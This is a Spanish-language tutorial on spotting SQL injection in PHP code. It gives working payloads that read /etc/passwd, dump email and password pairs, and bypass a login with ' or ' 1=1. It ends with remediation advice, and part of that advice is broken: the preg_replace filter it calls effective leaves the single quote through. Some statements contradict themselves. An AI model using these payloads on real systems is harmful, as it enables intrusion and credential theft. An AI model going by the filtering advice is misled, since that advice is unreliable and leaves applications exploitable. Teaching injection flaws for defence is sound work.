Bien, lo que les voy a enseñar son algunas de las formas para dentificar vulnerabilidades “sql injection” en nuestra aplicación y al finalizar veremos como parchearlas.
- Tips : Si el usuario tiene “file privileges” usted puede buscar un directory “escribible (witeable)” y magic_quotes_gpc= off usted podra uplodear codigo dentro de los archivos o directorios.
- Ejemplo Básico:
- Pedazo de código de test.php
———————————————————————————-
<?php
$id = $_GET['id'];
$result = mysql_query( “SELECT name FROM members WHERE id = ‘$id’”);
?>
———————————————————————————-
La variable “id” no está filtrada. Nosotros podemos inyectar nuestro codigo en la variable “id”.
Ejemplo :
http://127.0.0.1/test.php?id=1+union+all+select+1,null,load_file(‘etc/passwd’),4–
Y obtendremos “etc/passwd” si magic_quotes = off (activado ) y si el usuario tiene
“file privileges”.
- Ejemplo Simple
- Pedazo de código de casas/listing_view.php
—————————————————————————————————————————–
$id = $_GET['itemnr'];
require_once($home.”mysqlinfo.php”);
$query = “SELECT titulo, tipo, precio, dormitorios, distancia, direccion, telefono, comentarios, imagenes from Rentas where id=$id”;
$result = mysql_query($query);
if(mysql_num_rows($result)){
$r = mysql_fetch_array($result);
—————————————————————————————————————————–
Vemos que el valor de la variable “id” es el valor seteado de “itemnr” y no está filtrado.
Entonces podemos inyectar codigo.
Hagamos una petición:
http://127.0.0.1/casas/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(email,0x3a,password),5,6,7,8,9,10+from+users–
Y obtendremos email y passwords de la tabla “users”.
-SQL Injection Login Bypass
- Pedazo de código de /admin/login.php
——————————————————————————————————————————
$postbruger = $_POST['username'];
$postpass = md5($_POST['password']);
$resultat = mysql_query(“SELECT * FROM ” . $tablestart . “login WHERE brugernavn = ‘$postbruger’ AND password = ‘$postpass’”)
or die(“<p>” . mysql_error() . “</p>\n”);
——————————————————————————————————————————
La variable no está correctamente chequeada. Podemos bypassear el logueo. Inyectaremos el siguiente username y password:
username : admin ‘ or ‘ 1=1
password : andres
Estamos adentro. Como? Mira el siguiente código.
———————————————————————————————————————————
$resultat = mysql_query(“SELECT * FROM ” . $tablestart . “login WHERE brugernavn = ‘admin’ ‘ or ‘ 1=1 AND password = ‘andres”)
———————————————————————————————————————————
Login bypasseado. El usuario debe ser un usuario existente.
- Solución:
Forma simple, sensilla : No permitir caracteres especiales en las variables. Para variables numericas usa (int) ,ejemplo $id=(int)$_GET['id'];
Otra forma: Para variables no numericas filtra todos los caracteres especiales usados para
SQLI : – , . ( ) ‘ ” _ + / *
Forma rápida y eficáz:
$_GET = preg_replace(“|([^\w\s\'])|i”,”,$_GET);
$_POST = preg_replace(“|([^\w\s\'])|i”,”,$_POST);
Ingréselas en las dos primeras líneas del archivo.php
Andrés Gómez